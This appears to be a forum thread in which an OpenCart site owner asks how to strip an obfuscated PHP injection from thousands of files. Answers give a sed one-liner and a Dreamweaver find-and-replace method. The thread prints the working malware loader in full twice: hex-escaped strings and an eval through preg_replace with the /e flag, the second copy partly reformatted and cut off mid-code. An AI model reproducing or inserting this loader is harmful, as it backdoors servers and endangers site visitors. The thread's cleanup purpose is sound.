All the php files of my Opencart 1.5.6.4 including the theme's php files have this code on top of it:
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $xiyzbtmheq = 'bz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%xvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)32wjidsb%x5c%x7860bj+upco%x5c%x7825>5h%x5c%x7825!<*:::::)qj3hopmA%x5c%x78273qj%x5c%x7x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%2%51%x29%51%x29%73", NULL); }5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x78255w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x774]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]%x5c%x782f7rfs%x5c%x78256<#o]!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057f166%x61%154%x28%151%x6d%160%x6c%157%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{hjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]!hmg%x5c%x7825)!gj!~<ofmuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825c%x5c%x7825j:^<!%x5c%x7825w%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33b78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopd%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824w6*3qj%x5c%x78257>%x5c%x782272ubfsdXA%x5c%x7827K6<%x5c%x787f#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%7825%x5c%x7827Y%x5c%x7825x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:c%x7824-%x5c%x7824<%x5c%x7825155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x782%x5c%x78e%x5c%x78b%x5c%x7825gx7825)uqpuft%x5c%x7860msvd},;uqpuft%xx5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5cx5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x782q}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!-1);} #error_reporting(0); pusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sf!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x%x5c%x7825tmw!>!#]y84]275%x7825>2q%x5c%x7825<#g6R85,67R37,187878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:55f;!opjudovg}k~~9{d%x5c%x7825:osvufstn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x55)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x7825c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x764%145%x28%141%x72%162%x61%171%x5f%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)32x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x55]y85]82]y76]62]y3:]84#-!OVMM*<%x2x7825b:>1<!gps)%x5c%x7825j:5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x78}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x3zbe!-#jt0*?]+^?]_%x5c%x785]256]y6g]257]y86]267]y74]275]y7:]268]1]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]97f-s.973:8297f:5297e:56-%x5c%xXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPc}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]27x5c%x7825kj:-!OVMM*<(<A%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%xT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)ffV%x5c%x787f<*X&Z&S{ftmfV%%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hf5d816:+946:ce44#)zbssb:-111112)eobs%x5c%x7860un>qp%x5c5tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!f3]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p0;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%163%x70%154%x69%164%50%x2%x5c%x782f%x5c%x782424-%x5c%x7824*<!~!dsfbttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>x7825):fmji%x5c%x787!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-j,,*!|%x5c%x7824-%x5c%xl:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%7]381]211M5]67]452]88]5]48]32M<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%825%x5c%x782fh%x5c%x7825)n%x5c%x782824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x55-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x782x5c%x7825Z<^2%x5c%x785c2%x5c%x7827*&7-n%x5c%x782tRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9y7f#<!%x5c%x7825tww!>!%x5c%x775%156%x61"])))) { $GLOBALS["%x61%156%x75%156%x61"]=1; function f5c%x7860msvd}+;!>!}%x5c%x7827,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7878pmpusut)tpqssuif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset(271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]67825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]b%x5c%x7825!>!2p%x5cx782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x75c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7###7x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827bubE{h%x5c%x7825)tpqsut>j%x5c%5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c5c%x782f#7e:55946-tr.984:75983:48984:71ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<:iuhofm%x5c%x7825:-554l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787id%x5c%x78256<%x5c%x787fw6*%x5c%x78%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzwx7825%x5c%x787f!~!<##!>!2p%gg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&68:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]4720ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%f7&6|7**111127-K)ebfsX%x5c25)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x59.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x78278257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%xjfgg($n){return chr(ord($n)860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%74]256#<!%x5c%x7825ff2!>!bss]y72]282#<!%x5c%x7825tjw!>!c%x7827k:!ftmf!}Z;^nbsbq%x5c%x782;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%>>!}W;utpi}Y;tuofuopd%x5c%x78682f},;#-#}+;%x5c%x7825-qp%x5c%x7825)c!>!%x5c%x7825i%x5c%x785c2^%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x78]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y8524<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]yx5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f###%x5c%x782fqp5%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825k%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmR#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x#ojneb#-*f%x5c%x7825)sf%x5cv}.;%x5c%x782f#%x5c%x782f#%x5c%x7%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsf8256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x78-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825$GLOBALS["%x61%156%x>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5cc%x7824tvctus)%x5c%x7825%x5c%+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878my%x5c%x7825)utjm!|!*5!%qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjAx5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%xjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**x7860TW~%x5c%x7824<%x5c%x78x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x783zbek!~!<b%x5c%x7825%x5c%<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%w)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%xc%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5cj:!>!#]y3d]51]y35]256]y76]%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x82400~:<h%x5c%x7825_t%x%x5c%x7825)sutcvt-#w#)ldbqov>*of7824gvodujpo!%x5c%x7824-%x5c5%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msc%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*42f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#0825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!oppreg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%judovg}{;#)tutjyf%x5c%x7860opx5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25tbc%x5c%x787f!|!*uyfu%x57825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!C#-#O#-#N#*%x5c%x7824%x5c%x782f%]278]225]241]334]368%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x6<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x75c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x%x5c%x782f7^#iubq#%x5c%x785cq%x5cg]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%7pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%7f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmtmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x78#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x7e%x5c%x78b%x5c%x7825mm%x7860FUPNFS&d_SFSFGFS%x5c%x7827!hmg%x5c%x78860{6~6<tfs%x5c%x7822%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS]322]3]364]6]283]427]36]373P6]36]73]83]238M72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x78604392755epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5cx787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!op/(.*)/epreg_replacedlupegpizy'; $szhkmpjese = explode(chr((305-261)),'4646,67,7201,20,4462,65,6124,27,1875,27,8578,47,611,37,2557,35,1509,62,3684,25,9763,69,9237,58,2637,67,3327,38,3212,46,4920,54,1738,45,9295,53,4342,24,2442,66,5905,26,5735,48,3850,61,466,29,9149,55,1059,64,3094,34,3258,43,1264,30,1234,30,7443,42,204,29,7043,54,4974,45,9204,33,6973,70,51,31,8483,35,1355,25,8890,62,9614,63,6075,49,2508,49,9743,20,353,48,8423,60,9832,42,8952,42,5458,35,5691,44,9412,46,1838,37,6402,30,5843,62,1380,56,1644,37,4527,29,6344,58,10064,42,8625,29,7610,57,5977,60,6037,38,3931,42,5159,30,8023,70,5120,39,909,24,715,61,8189,32,7419,24,9722,21,5931,46,8306,70,8518,60,776,70,5565,27,4318,24,4832,20,8119,47,2704,49,2815,66,8376,47,3619,65,6663,63,173,31,3388,32,6784,63,1902,43,150,23,2357,35,1945,41,6913,27,4626,20,4366,67,3365,23,495,59,9699,23,82,68,7736,25,1159,31,5189,34,8736,57,554,57,8712,24,6311,33,8249,57,6940,33,6432,36,5395,63,2322,35,9960,63,3751,48,5375,20,5324,51,7291,60,3479,50,9554,60,9515,39,3301,26,8654,58,4556,70,2074,35,6847,66,3799,51,3996,43,1010,49,1783,55,9458,57,2592,45,2943,27,3128,62,3529,49,6284,27,2217,47,2049,25,6548,53,2970,37,4433,29,8166,23,9034,53,4852,68,4122,35,4213,39,233,41,3911,20,5783,60,2392,50,7935,37,7485,64,6495,53,6601,62,6256,28,0,51,1190,44,1123,36,7262,29,5019,36,7160,41,8994,40,6151,39,4157,56,1480,29,3973,23,8221,28,8845,45,7097,63,3729,22,933,48,6726,58,8093,26,9917,43,1986,63,303,50,6468,27,7761,50,1571,44,10023,41,5223,62,5493,35,2881,62,648,67,7871,64,2264,58,3063,31,2109,68,5285,39,9348,64,5640,51,4762,70,846,63,7549,61,2177,40,6190,66,7972,51,8825,20,9874,43,4039,30,4252,66,3420,59,7351,68,4069,53,2788,27,7221,41,1436,44,5055,65,7694,42,981,29,1681,57,3578,41,1294,61,7811,60,7667,27,9677,22,5528,37,3709,20,9087,62,8793,32,3190,22,1615,29,5592,48,401,65,4713,49,3007,56,2753,35,274,29'); $vljzlxyidt=substr($xiyzbtmheq,(66854-56748),(26-19)); if (!function_exists('krkmslacdc')) { function krkmslacdc($dfsltjfdfy, $vhbwrjxtar) { $cnjpfblxkx = NULL; for($mckpdcjuhs=0;$mckpdcjuhs<(sizeof($dfsltjfdfy)/2);$mckpdcjuhs++) { $cnjpfblxkx .= substr($vhbwrjxtar, $dfsltjfdfy[($mckpdcjuhs*2)],$dfsltjfdfy[($mckpdcjuhs*2)+1]); } return $cnjpfblxkx; };} $pyzbigcqqv="\x20\57\x2a\40\x75\141\x65\164\x78\163\x6e\155\x61\157\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\63\x35\55\x39\70\x29\51\x2c\40\x63\150\x72\50\x28\63\x37\63\x2d\62\x38\61\x29\51\x2c\40\x6b\162\x6b\155\x73\154\x61\143\x64\143\x28\44\x73\172\x68\153\x6d\160\x6a\145\x73\145\x2c\44\x78\151\x79\172\x62\164\x6d\150\x65\161\x29\51\x29\73\x20\57\x2a\40\x65\141\x62\166\x6e\162\x6f\157\x74\157\x20\52\x2f\40"; $tkudmphbyd=substr($xiyzbtmheq,(53762-43649),(51-39)); $tkudmphbyd($vljzlxyidt, $pyzbigcqqv, NULL); $tkudmphbyd=$pyzbigcqqv; $tkudmphbyd=(565-444); $xiyzbtmheq=$tkudmphbyd-1; ?>
Since there are thousands php files, i don't think i can do it manually. Any help on how can i do it automated way?
Open up terminal and hit
find . -name "*.php" -print0 | xargs -0 sed -ri '1s/^<\?php if\(!isset\(\$GLOBALS\[.*-1; \?>//' *.php
Take backup of all files.
Open Adobe Dream Weaver
Press CTRL + F.
Select your folder of site.
In the find section, paste your malicious code and make sure that replace field is empty.
Press Replace all
That will do the trick.
Does all files are the same code?
Decoded from your malware script
<?php if ( ! isset( $GLOBALS["\x61\156\x75\156\x61"] ) ) {
$ua = strtolower( $_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"] );
if ( ( ! strstr( $ua, "\x6d\163\x69\145" ) ) and ( ! strstr( $ua, "\x72\166\x3a\61\x31" ) ) ) {
$GLOBALS["\x61\156\x75\156\x61"] = 1;
}
} ?>
<?php $xiyzbtmheq = 'bz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%xvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)32wjidsb%x5c%x7860bj+upco%x5c%x7825>5h%x5c%x7825!<*:::::)qj3hopmA%x5c%x78273qj%x5c%x7x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%2%51%x29%51%x29%73", NULL); }5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x78255w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x774]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]%x5c%x782f7rfs%x5c%x78256<#o]!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057f166%x61%154%x28%151%x6d%160%x6c%157%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{hjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]!hmg%x5c%x7825)!gj!~<ofmuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825c%x5c%x7825j:^<!%x5c%x7825w%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33b78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopd%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824w6*3qj%x5c%x78257>%x5c%x782272ubfsdXA%x5c%x7827K6<%x5c%x787f#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%7825%x5c%x7827Y%x5c%x7825x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:c%x7824-%x5c%x7824<%x5c%x7825155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x782%x5c%x78e%x5c%x78b%x5c%x7825gx7825)uqpuft%x5c%x7860msvd},;uqpuft%xx5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5cx5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x782q}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!-1);} #error_reporting(0); pusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sf!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x%x5c%x7825tmw!>!#]y84]275%x7825>2q%x5c%x7825<#g6R85,67R37,187878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:55f;!opjudovg}k~~9{d%x5c%x7825:osvufstn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x55)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x7825c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x764%145%x28%141%x72%162%x61%171%x5f%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)32x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x55]y85]82]y76]62]y3:]84#-!OVMM*<%x2x7825b:>1<!gps)%x5c%x7825j:5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x78}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x3zbe!-#jt0*?]+^?]_%x5c%x785]256]y6g]257]y86]267]y74]275]y7:]268]1]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]97f-s.973:8297f:5297e:56-%x5c%xXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPc}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]27x5c%x7825kj:-!OVMM*<(<A%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%xT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)ffV%x5c%x787f<*X&Z&S{ftmfV%%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hf5d816:+946:ce44#)zbssb:-111112)eobs%x5c%x7860un>qp%x5c5tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!f3]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p0;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%163%x70%154%x69%164%50%x2%x5c%x782f%x5c%x782424-%x5c%x7824*<!~!dsfbttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>x7825):fmji%x5c%x787!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-j,,*!|%x5c%x7824-%x5c%xl:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%7]381]211M5]67]452]88]5]48]32M<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%825%x5c%x782fh%x5c%x7825)n%x5c%x782824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x55-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x782x5c%x7825Z<^2%x5c%x785c2%x5c%x7827*&7-n%x5c%x782tRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9y7f#<!%x5c%x7825tww!>!%x5c%x775%156%x61"])))) { $GLOBALS["%x61%156%x75%156%x61"]=1; function f5c%x7860msvd}+;!>!}%x5c%x7827,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7878pmpusut)tpqssuif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && 